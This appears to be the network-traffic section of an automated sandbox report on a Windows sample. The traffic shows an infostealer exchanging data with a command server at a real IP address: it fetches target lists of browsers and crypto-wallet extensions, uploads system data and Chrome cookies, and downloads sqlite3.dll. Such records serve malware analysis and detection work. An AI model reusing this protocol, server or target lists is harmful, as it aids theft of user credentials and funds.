Nov 19, 2024 18:00:20.600445032 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 55 7a 4d 44 51 78 59 7a 41 34 4d 47 46 6c 4e 6d 51 79 4f 54 6b 35 4d 54 45 79 4e 6a 56 6c 4d 32 56 6b 4f 47 51 7a 4e 47 45 31 4e 6d 55 77 59 57 4d 31 5a 57 51 78 4d 57 45 33 4f 57 4e 6c 4d 6d 4d 33 4d 44 63 35 4e 6d 55 31 4f 47 5a 69 4e 47 51 30 59 7a 67 77 4e 54 51 77 4e 6d 52 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWUzMDQxYzA4MGFlNmQyOTk5MTEyNjVlM2VkOGQzNGE1NmUwYWM1ZWQxMWE3OWNlMmM3MDc5NmU1OGZiNGQ0YzgwNTQwNmRifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 19, 2024 18:00:20.613858938 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="message"browsers------JDAFBKECAKFCAAAKJDAK--
Nov 19, 2024 18:00:21.006721973 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 19, 2024 18:00:21.006748915 CET	224	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJv
Nov 19, 2024 18:00:21.006768942 CET	796	IN	Data Raw: 62 57 56 38 4d 48 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 Data Ascii: bWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblx8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8MHxRUUJyb3dzZXJ8XFR
Nov 19, 2024 18:00:21.006823063 CET	796	IN	Data Raw: 62 57 56 38 4d 48 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 Data Ascii: bWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHBsaWNhdGlvblx8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8MHxRUUJyb3dzZXJ8XFR
Nov 19, 2024 18:00:21.008681059 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="message"plugins------EBGCFBGCBFHJECBGDAKK--
Nov 19, 2024 18:00:21.240447044 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 19, 2024 18:00:21.240475893 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 19, 2024 18:00:21.240492105 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 19, 2024 18:00:21.240508080 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 19, 2024 18:00:21.240529060 CET	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 19, 2024 18:00:21.240792036 CET	960	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Nov 19, 2024 18:00:21.331304073 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 19, 2024 18:00:21.332647085 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 2d 2d 0d 0a Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="message"fplugins------KEBFHIJECFIDGDGCGHCG--
Nov 19, 2024 18:00:21.560324907 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 19, 2024 18:00:21.578099012 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKEC Host: 185.215.113.206 Content-Length: 7139 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 18:00:21.578171015 CET	7139	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 19, 2024 18:00:22.492238045 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 18:00:22.743144035 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 18:00:22.968636036 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49728	185.215.113.206	80	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:00:31.387267113 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; 